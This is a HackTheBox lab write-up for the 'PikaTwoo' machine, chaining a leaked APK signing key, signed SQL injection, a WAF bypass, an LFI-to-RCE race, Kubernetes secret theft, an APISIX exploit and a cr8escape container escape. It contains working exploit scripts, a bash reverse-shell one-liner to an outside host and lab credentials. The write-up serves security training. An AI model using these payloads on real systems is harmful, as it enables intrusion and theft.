HTB: PikaTwoo Writeup

PikaTwoo - HackTheBox Writeup

Machine Information

AttributeDetails
NamePikaTwoo
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.228.159
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐⭐
  • CTF-like: ⭐⭐⭐⭐☆

Summary

PikaTwoo is an eight-step chain spanning a mobile app, a signed API, a WAF-guarded PHP backend, a Kubernetes cluster, and finally a container-escape kernel exploit. The front door is a leaked Android APK sitting in a misconfigured OpenStack Swift container; its embedded RSA private key lets an attacker forge signed requests to the backend API and SQL-inject through the signature check to recover a valid account. From there, an OWASP CRS ruleset bypass (the Drupal-exclusion rule class, CVE-2021-35368) defeats ModSecurity and exposes a PHP Local File Inclusion, which is escalated to Remote Code Execution by racing Nginx’s client-body temp files through /proc/<pid>/fd/N. That RCE lands inside a Kubernetes pod, whose service-account token discloses an APISIX admin key; APISIX 2.10.1’s batch-requests plugin (CVE-2022-24112) is then abused with a spoofed X-Real-IP header to create an authenticated route with a malicious filter_func, yielding a shell on the APISIX pod itself. That pod’s config file hands over SSH credentials for the box’s real user. Root is obtained via cr8escape (CVE-2022-0811), exploiting an outdated CRI-O/minikube combo: injecting a shell script path into kernel.core_pattern through the unsanitized + prefix accepted for kernel.shm_rmid_forced, then crashing a pod process to have the kernel execute that script as root on the host.

TL;DR: Leaked APK → forged signed SQLi → creds → ModSecurity CRS bypass → LFI → Nginx temp-file race RCE (pod) → K8s secret leak → APISIX admin key → CVE-2022-24112 RCE (APISIX pod) → config-file SSH creds → CVE-2022-0811 (cr8escape) via unsanitized sysctl → root.


Reconnaissance

Port Scanning

Terminal window
# Scoped scan against the discovered service set
nmap -p22,80,443,5000,8080 -sV -Pn --open -T4 10.129.228.159

Results:

PortServiceNotes
22SSHOpenSSH
80HTTPNginx, Pokatdex front end
443HTTPSTLS variant of the same app
5000KeystoneOpenStack identity service
8080SwiftOpenStack object storage

Service Enumeration

Port 80 serves the CHANGELOG for the site, pulled directly:

Terminal window
curl -s http://10.129.228.159/CHANGELOG

The changelog names the companion Android application and confirms ModSecurity is fronting the web tier — both facts that shape the rest of the chain (mobile app to loot, WAF to bypass later).

Port 8080’s OpenStack Swift headers, together with the andrew tenant naming convention, pointed at a predictable per-account container path:

Terminal window
# Default Swift reseller_prefix is AUTH_, so the account container is AUTH_andrew
curl -s http://10.129.228.159:8080/v1/AUTH_andrew/android

This listed (and, on a follow-up retry loop, reliably returned) a container holding the app APK:

Terminal window
mkdir -p ~/pika && cd ~/pika
wget -q http://10.129.228.159:8080/v1/AUTH_andrew/android/pokatmon-app.apk -O pokatmon-app.apk

Vulnerability Assessment

  • Insecure Swift ACL — the AUTH_andrew account’s android container is world-readable with no auth, exposing the app binary.
  • Embedded signing key — the extracted APK’s assets ship a raw RSA private key at assets/flutter_assets/keys/private.pem, meant to sign client requests but usable by anyone who has the file.
  • ModSecurity/OWASP CRS in front of a PHP LFI-prone endpoint — confirmed later via the CHANGELOG hint plus WAF-block behavior on traversal payloads.

Initial Foothold

Exploitation Path

1. Loot the signing key from the APK.

The write-up-standard path is to reverse and patch libflutter.so in Ghidra to bypass certificate pinning and MITM the app in an emulator. That step was skipped for this run — extracting the APK directly yielded everything needed:

Terminal window
cd ~/pika
head -2 apk/assets/flutter_assets/keys/private.pem
cp apk/assets/flutter_assets/keys/private.pem .
grep -aoE '[a-z0-9.-]+\.htb' apk -r # recover the API hostname baked into the app

This surfaced the API host (api.pokatmon-app.htb family) and confirmed the private key was the one used to sign the app’s /public/validate requests.

2. Forge a signed SQL injection.

The backend verifies a PKCS#1 v1.5/SHA-256 signature over the POST body before trusting app_beta_mailaddr/app_beta_code. Owning the private key means any payload can be legitimately signed:

/tmp/sqli.py
from Crypto.Signature import pkcs1_15
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
import requests, base64
def sign(email, code):
message = f"app_beta_mailaddr={email}&app_beta_code={code}"
privkey = RSA.importKey(open('private.pem').read())
digest = SHA256.new(message.encode())
return base64.b64encode(pkcs1_15.new(privkey).sign(digest)).decode()
email = "' or 1=1 -- -" # unsanitized field, concatenated straight into a SQL query
code = "A"
sig = sign(email, code)
r = requests.post(
"https://api.pokatmon-app.htb/public/validate",
data={"app_beta_mailaddr": email, "app_beta_code": code},
headers={"authorization": f"signature={sig}"},
verify=False,
)
print(r.text)

This worked because the app trusts any signature made with the embedded key — the server has no way to distinguish “message signed by the real app” from “message signed by an attacker holding the same key.” The SQLi itself is a classic unsanitized string concatenation into the WHERE clause. The response leaked a valid account: roger.foster37@freemail.htb with beta code AX3YB-TH9L0-Z1HC5-22EYB-XHLK1-J3WJ67.

3. Reach the LFI-prone API directly.

Where the reference write-up pivots through Swagger/password-reset to discover pokatdex-api-v1.pokatmon-app.htb, that vhost was directly reachable in this run, so the password-reset flow was not needed — going straight to the debug/region parameter was sufficient:

Terminal window
curl -s "http://pokatdex-api-v1.pokatmon-app.htb/?region=a&debug=true"

The debug output confirmed PHP was including region data from disk by filename — a Local File Inclusion primitive.

4. Bypass ModSecurity/OWASP CRS to read files (CVE-2021-35368 class).

Direct traversal (?region=../../../etc/passwd) was blocked by ModSecurity. The OWASP Core Rule Set’s Drupal-exclusion rule (REQUEST-903.9001-DRUPAL-EXCLUSION-RULES.conf) disables request-body inspection entirely for any POST to a path matching /admin/content/assets/add/[a-z]+$ carrying a SESS[a-f0-9]+ cookie — a rule meant for legitimate Drupal asset uploads, but with no check that the destination server is actually Drupal:

Terminal window
curl -s --path-as-is -b 'SESS0=a' \
-d 'region=../../../../../../etc/passwd' \
'http://pokatdex-api-v1.pokatmon-app.htb//admin/content/assets/add/a'

Since the Nginx config rewrites any URI into index.php?region=$uri, that POST path is functionally equivalent to hitting the vulnerable region parameter — but with WAF body inspection switched off. This confirmed arbitrary file read.

5. Escalate LFI to RCE via Nginx temp-file race.

To turn file-read into code execution, the technique abuses Nginx’s behavior of buffering oversized client request bodies to disk under /var/lib/nginx/body/..., which briefly exist as open file descriptors in the worker process (/proc/<pid>/fd/N) before being unlinked. Including that fd path via the LFI executes attacker-controlled PHP planted in the body of the same request:

# /tmp/lfi_rce.py (adapted, threaded uploader + fd-brute race)
import sys, threading, requests, os
url = f"{sys.argv[1]}//admin/content/assets/add/a"
cmd = sys.argv[2]
H = {"cookie": "SESS0=a"}
done = False
def uploader():
while not done:
requests.post(url, data='<?php echo "[CMD]"; system($_REQUEST["c"]); /*' + 16*1024*'A', headers=H)
def bruter(pid):
global done
while not done:
for fd in range(4, 32):
f = f'../../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.post(url, data={"region": f, "c": cmd}, headers=H)
if r.text and "CMD" in r.text:
print(r.text[5:]); done = True; os._exit(1)

The exploit was flaky under load in this run: the first attempt won the race in ~90 seconds, but a follow-up attempt timed out entirely. Reducing the number of concurrent uploader threads and shortening the per-request timeout, then parallelizing the fd sweep across worker PIDs, made the race land reliably on retry (/tmp/lfi2.py).

With this primitive, a base64-encoded reverse shell payload was piped through sh:

Terminal window
# staged, base64-encoded, then executed via the LFI/RCE primitive
bash -c 'bash -i >& /dev/tcp/10.10.15.68/7777 0>&1' &

This landed a shell as www inside a Kubernetes pod, pokatdex-api-75b7bd96f7-2xkxk.

6. Leak the Kubernetes namespace secrets.

Every pod carries a service-account token by default. Using it against the API server directly from inside the pod discloses whatever secrets the bound service account can read:

Terminal window
# staged as /tmp/stage1.sh, executed via the reverse shell
SA=/var/run/secrets/kubernetes.io/serviceaccount
NS=$(cat $SA/namespace)
TOKEN=$(cat $SA/token)
curl -s --cacert $SA/ca.crt -H "Authorization: Bearer $TOKEN" \
"https://kubernetes.default.svc/api/v1/namespaces/$NS/secrets"

An applications secret in the response contained APISIX_ADMIN_KEY, the admin API key for the cluster’s APISIX gateway.

7. Pivot pod → APISIX via CVE-2022-24112.

APISIX’s batch-requests plugin, when combined with a route protected only by an X-Real-IP allowlist, can be tricked into treating an attacker-supplied X-Real-IP: 127.0.0.1 header as trusted, since the plugin re-dispatches the inner batched request without re-validating the real peer address. That lets an unauthenticated caller reach admin-only route-creation:

Terminal window
# stage a route with a filter_func executing os.execute, using the leaked admin key
curl -s -H "Content-Type: application/json" \
-H "X-API-KEY: <redacted-apisix-admin-key>" \
-X POST "http://apisix-admin:9080/apisix/batch-requests" \
-d '{"headers": {"X-Real-IP": "127.0.0.1"}, ... route-with-filter_func-payload ...}'

The resulting /public/shell route embedded a Lua filter_func calling os.execute, giving command execution the moment the route was hit:

Terminal window
curl -s "http://apisix-admin:9080/public/shell?cmd=id"

This produced a shell as nobody on the apisix-7dd469755b-qtzd7 pod.

8. Recover SSH credentials from APISIX’s config.

Terminal window
cat /usr/local/apisix/conf/config.yaml

The config’s Eureka service-discovery block contained plaintext credentials — andrew:st41rw4y2h34v3n — which authenticated over SSH directly to the box, landing the user shell and user.txt at /home/andrew/user.txt.


Privilege Escalation

andrew → root (CVE-2022-0811, cr8escape)

The box runs minikube 1.28.0-0 backed by CRI-O, a version combination vulnerable to cr8escape. The vulnerability stems from CRI-O passing unprivileged-supplied sysctl values through to runc/the kernel without validating a leading + character, which some kernel sysctl paths (like kernel.shm_rmid_forced) accept as a legitimate prefix but which lets an attacker smuggle a second, unrelated sysctl assignment in the same write — in this case, kernel.core_pattern.

kernel.core_pattern controls what the kernel does with a process’s core dump; prefixing the value with | tells the kernel to pipe the dump to an arbitrary executable as root, regardless of which user or namespace crashed.

Access to the cluster from andrew’s SSH session required a working kubeconfig; andrew’s own account lacked one, but the users group had read access to jennifer’s kubeconfig:

Terminal window
# jennifer's kubeconfig was group-readable via membership in `users`
export KUBECONFIG=/path/to/jennifers/kubeconfig
kubectl auth can-i create pods --all-namespaces
# → only permitted in the `development` namespace

With pod-creation scoped to the development namespace, the exploit pod (a plain Alpine image) was launched there, and the malicious sysctl was smuggled in through the unsanitized + prefix:

Terminal window
# core_pattern payload — pipes core dumps to a root-owned script on the host filesystem
# smuggled via the '+' prefix normally reserved for kernel.shm_rmid_forced
kernel.core_pattern=|/home/andrew/Documents/.script.sh

Once the core_pattern was set on the host kernel (shared across all containers, since core_pattern is a host-global, not namespaced, sysctl in this CRI-O configuration), crashing any process in the pod triggers the kernel to invoke that path as root:

Terminal window
# inside the alpine pod: force a SIGSEGV to trigger the core-dump handler
kill -SEGV $$

The kernel then executed .script.sh — a script under andrew’s own home directory — with root privileges on the underlying host, giving full root access and root.txt at /root/root.txt.


Attack Chain Summary

Swift ACL misconfig (8080/AUTH_andrew) → download pokatmon-app.apk
→ extract embedded RSA private key (private.pem)
→ forge signed SQLi against /public/validate
→ leak roger.foster37@freemail.htb credential
→ reach pokatdex-api-v1.pokatmon-app.htb LFI endpoint directly
→ OWASP CRS Drupal-exclusion bypass (CVE-2021-35368 class) disables WAF body inspection
→ LFI confirmed (/etc/passwd)
→ Nginx client-body temp-file race via /proc/<pid>/fd/N → RCE
→ shell as www in pod pokatdex-api-75b7bd96f7-2xkxk
→ service-account token dumps namespace secrets → APISIX_ADMIN_KEY
→ CVE-2022-24112 (APISIX batch-requests + spoofed X-Real-IP) → malicious route w/ filter_func
→ shell as nobody on apisix-7dd469755b-qtzd7
→ /usr/local/apisix/conf/config.yaml discloses andrew:st41rw4y2h34v3n
→ SSH as andrew (user.txt)
→ jennifer's group-readable kubeconfig → pod creation in `development` namespace
→ CVE-2022-0811 (cr8escape): unsanitized '+' smuggles kernel.core_pattern
→ SIGSEGV in pod triggers root-owned script on host (root.txt)

Tools Used

ToolPurpose
nmapPort scanning (22/80/443/5000/8080)
curl / wgetEnumerating Swift containers, downloading the APK, exploit HTTP requests
pycryptodome (Crypto.Signature.pkcs1_15)Forging PKCS#1 v1.5/SHA-256 signatures with the stolen private key
Custom Python (sqli.py, lfi_rce.py, lfi2.py)Signed SQLi delivery, Nginx temp-file race for LFI→RCE
Bash reverse-shell one-linersInitial pod foothold and pivot shells
kubectlService-account/secret enumeration, pod creation in the development namespace
APISIX batch-requests APICVE-2022-24112 exploitation to plant a malicious route
SSHAccess as andrew using recovered credentials
kill -SEGV / kernel core_patternCVE-2022-0811 (cr8escape) root escalation

Key Learnings

Techniques Practiced

  • Enumerating OpenStack Swift ACLs for unauthenticated container/object listing
  • Extracting secrets embedded inside a mobile app’s asset bundle
  • Forging cryptographically valid signed requests once a private key is exposed, then using that trust to inject SQL through an otherwise “protected” parameter
  • Bypassing ModSecurity/OWASP CRS via a rule intended for a different application (Drupal asset uploads) that inadvertently disables body inspection globally
  • Escalating a PHP LFI to RCE using the Nginx client-body-buffering temp-file race through /proc/<pid>/fd/N
  • Kubernetes service-account token abuse to enumerate namespace secrets from inside a compromised pod
  • Exploiting APISIX’s batch-requests plugin (CVE-2022-24112) to bypass IP-based route protections via a spoofed X-Real-IP
  • Privilege escalation through CRI-O/minikube’s cr8escape (CVE-2022-0811) sysctl-injection-to-core_pattern technique

Lessons Learned

  1. A signing key is only as good as its secrecy — embedding an RSA private key inside a distributable APK means anyone who extracts it can produce arbitrarily “trusted” signed traffic; server-side input validation still has to happen independently of signature verification.
  2. WAF rules written for one application can create bypasses in another — the OWASP CRS Drupal-exclusion rule assumes the backend is Drupal; against any other stack sharing the same request shape, it becomes a body-inspection kill switch.
  3. Race conditions against ephemeral filesystem state (Nginx temp files) are viable RCE primitives, but their reliability is sensitive to concurrency tuning — too many uploader threads or too generous a timeout can make the exploit less reliable, not more.
  4. Kubernetes service-account tokens are a lateral-movement multiplier by default — any RCE inside a pod is potentially an RCE against everything that pod’s service account can read via the Kubernetes API.
  5. Global, non-namespaced kernel parameters like core_pattern break container isolation assumptions — CRI-O’s failure to sanitize a leading + in one sysctl allowed smuggling an entirely different, host-wide sysctl write, escalating any in-pod crash to root code execution on the underlying node.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • PikaTwoo — Official HackTheBox Writeup by polarbearer & C4rm3l0 (Document No D23.100.227), Machine Author: PwnMeow & polarbearer — used for CVE identification (CVE-2021-38155, CVE-2021-43557, CVE-2021-35368-class OWASP CRS bypass, CVE-2022-24112, CVE-2022-0811/cr8escape) and conceptual explanation of the Nginx temp-file race and Swift/Keystone service relationship. All IPs, commands, outputs, and credentials in this write-up reflect the actual solve against 10.129.228.159.